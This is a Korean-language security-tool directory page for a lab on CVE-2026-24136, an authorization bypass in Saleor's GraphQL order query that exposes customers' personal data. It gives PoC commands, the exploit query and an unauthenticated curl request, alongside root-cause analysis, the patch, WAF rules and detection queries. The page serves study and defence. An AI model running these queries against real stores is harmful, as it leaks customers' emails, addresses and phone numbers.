Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-24136-Lab — CVE-2026-24136 | Saleor GraphQL의 IDOR 취약점 악용 랩 - order() 쿼리가 인증을 확인하지 않아 고객의 모든 PII(이메일, 주소, 전화번호)가 노출됩니다. Docker 환경, 시드 데이터 스크립트 및 PoC를 포함합니다. CVSS 4.0: 8.7 HIGH. | Kitploit
도구/GitHubGitHub/blankbire/cve-2026-24136-lab
Vulnerability AnalysisWeb Application ExploitationAPI Security TestingPenetration TestingLearning & EducationLabs & Practice
GitHubblankbire/cve-2026-24136-lab

CVE-2026-24136-Lab

CVE-2026-24136 | Saleor GraphQL의 IDOR 취약점 악용 랩 - order() 쿼리가 인증을 확인하지 않아 고객의 모든 PII(이메일, 주소, 전화번호)가 노출됩니다. Docker 환경, 시드 데이터 스크립트 및 PoC를 포함합니다. CVSS 4.0: 8.7 HIGH.

저장소 보기
112개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-24136 - Saleor GraphQL IDOR / 인증되지 않은 PII 유출

개요

필드세부 정보
CVE IDCVE-2026-24136
취약점 유형IDOR - Authorization Bypass Through User-Controlled Key (CWE-639)
소프트웨어Saleor 전자상거래 플랫폼
영향받는 버전3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28
패치된 버전3.20.110 · 3.21.45 · 3.22.29
CVSS 3.17.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVSS 4.08.7 HIGH
영향인증되지 않은 공격자가 모든 주문의 PII(이름, 주소, 전화번호, 이메일)를 읽을 수 있음
인증 필요?아니요

취약점 설명

Saleor는 전자상거래 주문을 관리하기 위한 GraphQL API를 제공합니다. order(id: $id) 쿼리는 전역 ID(global ID)를 통해 주문의 상세 정보를 조회할 수 있게 해줍니다. 영향을 받는 버전에서는 이 쿼리가 호출자에게 해당 주문을 볼 권한이 있는지 확인하지 않습니다.

계정이 없는 완전히 익명인 사용자를 포함한 누구나 이 쿼리를 호출하여 고객의 전체 PII(이메일, 성명, 배송 주소, 전화번호, 로그인 기록)를 얻을 수 있습니다.


랩 구조

root@kitploit:~
cve-2026-24136-lab/
├── docker-compose.yml          # Môi trường lab (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1               # Script khởi động tự động (Windows PowerShell)
├── setup_lab.sh                # Script khởi động tự động (Linux / WSL / macOS)
├── README.md
└── scripts/
    ├── start_api.sh            # Startup wrapper: patch wsgi bug + gunicorn
    ├── seed_data.py            # Tạo victim accounts + orders có PII
    └── poc_cve_2026_24136.py   # PoC khai thác

랩 시작하기

요구 사항

  • Docker Desktop (Windows / macOS) 또는 Docker Engine (Linux)
  • Python 3.8+
  • pip install requests

Windows (PowerShell)

root@kitploit:~
# Cấp quyền thực thi nếu cần
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# Chạy setup tự động
.\setup_lab.ps1

Linux / WSL / macOS (Bash)

root@kitploit:~
chmod +x setup_lab.sh
./setup_lab.sh

수동 실행

root@kitploit:~
# 1. Khởi động containers
docker compose up -d

# 2. Chờ API sẵn sàng (~60-90 giây)
#    Kiểm tra: curl http://localhost:8000/health/

# 3. Tạo admin account
docker exec cve_saleor_api python manage.py shell -c \
  "from django.contrib.auth import get_user_model; U=get_user_model(); \
   U.objects.filter(email='[email protected]').exists() or \
   U.objects.create_superuser('[email protected]', 'admin')"

# 4. Populate products/channels
docker exec cve_saleor_api python manage.py populatedb

# 5. Tạo victim data (accounts + orders với PII)
cd scripts
pip install requests
python seed_data.py

시작 후 엔드포인트:

서비스URL
Saleor GraphQL APIhttp://localhost:8000/graphql/
GraphQL Playgroundhttp://localhost:8000/graphql/
Saleor Dashboardhttp://localhost:9000
Admin[email protected] / admin

PoC 사용법

root@kitploit:~
cd scripts

# Xem giải thích kỹ thuật
python poc_cve_2026_24136.py explain

# Khai thác từ danh sách đã seed (KHUYẾN NGHỊ - Saleor 3.x dùng UUID IDs)
python poc_cve_2026_24136.py file order_ids.json

# Khai thác 1 order bằng base64 global ID trực tiếp
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...

# Enumerate sequential (chỉ hoạt động với Saleor < 3.x dùng integer IDs)
python poc_cve_2026_24136.py enumerate --start 1 --end 100

# Đổi target API
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json

# Lưu kết quả ra JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json

샘플 출력

root@kitploit:~
[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...

[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)

╔══════════════════════════════════════════════════════════════╗
║  [LEAKED] ORDER #41 -- DRAFT                                 ║
╠──────────────────────────────────────────────────────────────╣
║  Email           : [email protected]                         ║
╠──────────────────────────────────────────────────────────────╣
║  Billing Address : Nguyen Van A                              ║
║    Street        : 123 Le Loi Street                         ║
║    City/Post     : HO CHI MINH CITY 700000                   ║
║    Country       : Vietnam                                   ║
║    Phone         : +84901234567                              ║
╚══════════════════════════════════════════════════════════════╝

[*] Successfully leaked 6/6 orders

근본 원인 분석

1. 주문 ID 인코딩

Saleor는 Relay GraphQL 스펙의 "Global Object Identification" 표준을 사용합니다. 각 객체는 다음과 같은 형식의 전역 ID로 식별됩니다:

root@kitploit:~
base64("<TypeName>:<internal_id>")

Saleor 3.x 주문의 경우:

root@kitploit:~
# internal_id là UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id   = base64("Order:" + internal_id)
            = "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"

참고: Saleor 2.x는 정수 순차 ID(Order:1, Order:2, ...)를 사용하므로 열거가 더 쉽습니다.
Saleor 3.x는 UUID로 전환되어 공격자는 다른 방법(주문 확인 이메일, URL 유출 등)으로 UUID를 확보해야 합니다.

2. 취약점을 유발하는 코드

파일: saleor/graphql/order/resolvers.py

root@kitploit:~
# PHIÊN BẢN BỊ LỖI (trước khi patch)
def resolve_order(root, info, id):
    """Resolve order by ID – không có bất kỳ kiểm tra authorization nào."""
    _, pk = from_global_id_or_error(id, Order)
    return qs.filter(pk=pk).first()
    # Bất kỳ ai gọi cũng nhận được dữ liệu, không kiểm tra user, không kiểm tra session

파일: saleor/graphql/order/schema.py

root@kitploit:~
# Query definition, không khai báo permissions
class OrderQueries:
    order = graphene.Field(
        Order,
        description="Look up an order by ID.",
        id=graphene.Argument(graphene.ID, description="ID of the order."),
    )

    def resolve_order(self, info, id):
        return resolvers.resolve_order(info, id)
        # Không có @permission_required, không có guard nào

3. 익스플로잇 GraphQL 쿼리

전송되는 쿼리에는 Authorization 헤더가 없습니다:

root@kitploit:~
query ExploitOrder($id: ID!) {
  order(id: $id) {
    number
    status
    userEmail
    billingAddress {
      firstName
      lastName
      streetAddress1
      city
      postalCode
      phone
    }
    shippingAddress {
      firstName
      lastName
      phone
    }
    user {
      email
      firstName
      lastName
      lastLogin
      isActive
    }
  }
}
root@kitploit:~
# Gửi bằng curl, không cần token
curl -s http://localhost:8000/graphql/ \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
  }'

# Response (không cần auth):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}

4. 공격 흐름

root@kitploit:~
Attacker (anonymous)                     Saleor GraphQL API
        |                                        |
        |── POST /graphql/ ─────────────────────>|
        |   Content-Type: application/json       |
        |   (NO Authorization header)            |
        |   {"query":"query {                    |
        |     order(id: \"T3JkZXI6...\") {       |
        |       userEmail                        |
        |       billingAddress { phone }         |
        |     }                                  |
        |   }"}                                  |
        |                                        |
        |<── HTTP 200 OK ─────────────────────── |
        |   {"data": {"order": {                 |
        |     "userEmail": "[email protected]", |
        |     "billingAddress": {                |
        |       "phone": "+84901234567"          |
        |     }                                  |
        |   }}}                                  |
        |                                        |

패치 분석

주요 패치 커밋

파일: saleor/graphql/order/resolvers.py

root@kitploit:~
# PHIÊN BẢN ĐÃ PATCH (>= 3.20.110)
def resolve_order(root, info, id):
    """Resolve order by ID với authorization check đầy đủ."""
    _, pk = from_global_id_or_error(id, Order)
    order = qs.filter(pk=pk).first()

    # Guard 1: Staff và App có thể xem mọi order
    if requestor_is_staff_member_or_app(info.context.user, info.context.app):
        return order

    # Guard 2: Unauthenticated user → trả về None (không báo lỗi để tránh leak existence)
    if not info.context.user or not info.context.user.is_authenticated:
        return None

    # Guard 3: Authenticated user chỉ được xem order của chính mình
    if order and order.user_id != info.context.user.pk:
        raise PermissionDenied(
            "You don't have permission to access this order."
        )

    return order

파일: saleor/graphql/order/schema.py

root@kitploit:~
# Thêm annotation để document permission requirement
class OrderQueries:
    order = graphene.Field(
        Order,
        description=(
            "Look up an order by ID. "
            "Requires authentication. Staff users can access all orders. "
            "Regular users can only access their own orders."
        ),
        id=graphene.Argument(graphene.ID, required=True),
    )

패치 전후 비교

root@kitploit:~
Request: POST /graphql/
Body: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" }
(Không có Authorization header)

─────────────────────────────────────────────
TRƯỚC PATCH (≤ 3.20.109):
  HTTP 200 OK
  {"data": {"order": {"userEmail": "[email protected]"}}}
  → PII bị lộ

─────────────────────────────────────────────
SAU PATCH (≥ 3.20.110):
  HTTP 200 OK
  {"data": {"order": null}}
  → Trả null, không có lỗi (intentional – không để attacker
    biết order có tồn tại hay không)
─────────────────────────────────────────────

심층 기술 분석

패치가 오류 대신 null을 반환하는 이유는?

인증되지 않은 요청에 대해 PermissionDenied 대신 null을 반환하는 것은 의도적인 설계입니다:

  • PermissionDenied를 반환하면 → 공격자는 주문이 존재함을 알 수 있습니다(existence oracle)
  • null을 반환하면 → 공격자는 "권한 없음"과 "존재하지 않음"을 구분할 수 없습니다

이는 GraphQL 계층에 적용된 timing-safe 존재 확인 기법입니다.

인증된 사용자에게는 왜 여전히 raise PermissionDenied를 사용할까?

로그인한 상태에서는 명확한 오류 표시가 디버깅에 도움이 되기 때문입니다. Existence oracle은 더 이상 문제가 되지 않습니다:

  1. 인증된 사용자는 일반적으로 자신의 주문이 존재함을 알고 있습니다
  2. 인증된 공격자는 계정이 있어야 하므로 계정 정지, 추적, 속도 제한이 가능합니다

UUID가 정수 ID보다 열거하기 어려운 이유는?

root@kitploit:~
Integer IDs (Saleor 2.x):
  Order:1, Order:2, ..., Order:N
  → Cần O(N) requests để enumerate N orders
  → Attacker có thể biết tổng số orders (bằng binary search)

UUID IDs (Saleor 3.x):
  Order:460d1e27-2b0b-4897-84c9-64b524b08d64
  → Search space: 2^122 (UUID v4 có 122 bit ngẫu nhiên)
  → Brute force thực tế là bất khả thi
  → Nhưng ID vẫn bị lộ qua: order confirmation email, URL trong dashboard,
    API responses, logs → nếu attacker có được 1 ID, vẫn khai thác được

CVSS 벡터 분석

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AV:N  – Attack Vector: Network      (khai thác qua internet)
AC:L  – Attack Complexity: Low      (không cần điều kiện đặc biệt)
PR:N  – Privileges Required: None   (không cần tài khoản)
UI:N  – User Interaction: None      (không cần nạn nhân tương tác)
S:U   – Scope: Unchanged            (chỉ ảnh hưởng Saleor API)
C:H   – Confidentiality: High       (toàn bộ PII bị lộ)
I:N   – Integrity: None             (không sửa được dữ liệu)
A:N   – Availability: None          (không DoS)

완화 및 방어

1. 즉시 패치 (최우선 순위)

root@kitploit:~
# Kiểm tra phiên bản hiện tại
pip show saleor | grep Version

# Nâng cấp lên phiên bản đã vá
pip install "saleor>=3.20.110"   # nếu đang dùng dòng 3.20.x
pip install "saleor>=3.21.45"   # nếu đang dùng dòng 3.21.x
pip install "saleor>=3.22.29"   # nếu đang dùng dòng 3.22.x

2. 임시 WAF 규칙 (즉시 패치가 어려운 경우)

익명 사용자가 order() 쿼리를 호출하지 못하도록 차단:

root@kitploit:~
# Nginx – block GraphQL order query từ unauthenticated requests
location /graphql/ {
    # Nếu không có Authorization header và body chứa "order("
    if ($http_authorization = "") {
        # Chặn các query có dấu hiệu khai thác
        # Lưu ý: đây chỉ là giải pháp tạm, không thay thế patch
    }
    proxy_pass http://saleor_api;
}

AWS WAF / CloudFront 사용 시:

root@kitploit:~
{
  "Name": "BlockAnonymousOrderQuery",
  "Priority": 1,
  "Action": {"Block": {}},
  "Statement": {
    "AndStatement": {
      "Statements": [
        {
          "ByteMatchStatement": {
            "SearchString": "\"order\"",
            "FieldToMatch": {"Body": {}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "CONTAINS"
          }
        },
        {
          "ByteMatchStatement": {
            "SearchString": "Authorization",
            "FieldToMatch": {"SingleHeader": {"Name": "authorization"}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "EXACTLY",
            "NegatedStatement": true
          }
        }
      ]
    }
  }
}

3. 속도 제한

root@kitploit:~
# Giới hạn requests từ 1 IP không có auth
limit_req_zone $binary_remote_addr zone=graphql_anon:10m rate=10r/m;

location /graphql/ {
    limit_req zone=graphql_anon burst=5 nodelay;
    proxy_pass http://saleor_api;
}

4. 모니터링 / 탐지

액세스 로그에서 나타나는 공격 징후:

root@kitploit:~
# Phát hiện: 1 IP gửi nhiều GraphQL requests không có Authorization
grep 'POST /graphql/' access.log \
  | awk '$9 == 200 && !/Authorization/' \
  | awk '{print $1}' \
  | sort | uniq -c | sort -rn \
  | awk '$1 > 20'  # Alert nếu > 20 requests từ 1 IP

# Phát hiện pattern "order" trong request body không có auth
# (cần JSON body logging)

Grafana / Datadog용 알림 규칙:

root@kitploit:~
alert: SaleorAnonOrderQuery
expr: |
  rate(nginx_http_requests_total{
    path="/graphql/",
    method="POST",
    has_auth_header="false"
  }[5m]) > 5
severity: warning
annotations:
  summary: "Potential CVE-2026-24136 exploitation attempt"
  description: "High rate of unauthenticated GraphQL POST requests"

랩 정리

root@kitploit:~
# Dừng và xóa containers + volumes (xóa toàn bộ data)
docker compose down -v

# Chỉ dừng containers (giữ data)
docker compose stop

참고 자료

  • Saleor Security Advisory
  • OWASP - Broken Object Level Authorization (BOLA/IDOR)
  • CWE-639 - Authorization Bypass Through User-Controlled Key
  • Relay Global Object Identification Spec

경고: 이 랩은 연구, 학습 및 보안 보고서 작성 목적으로만 제공됩니다.
서면 허가 없이 실제 시스템에서 PoC를 사용하지 마십시오.

도구 다운로드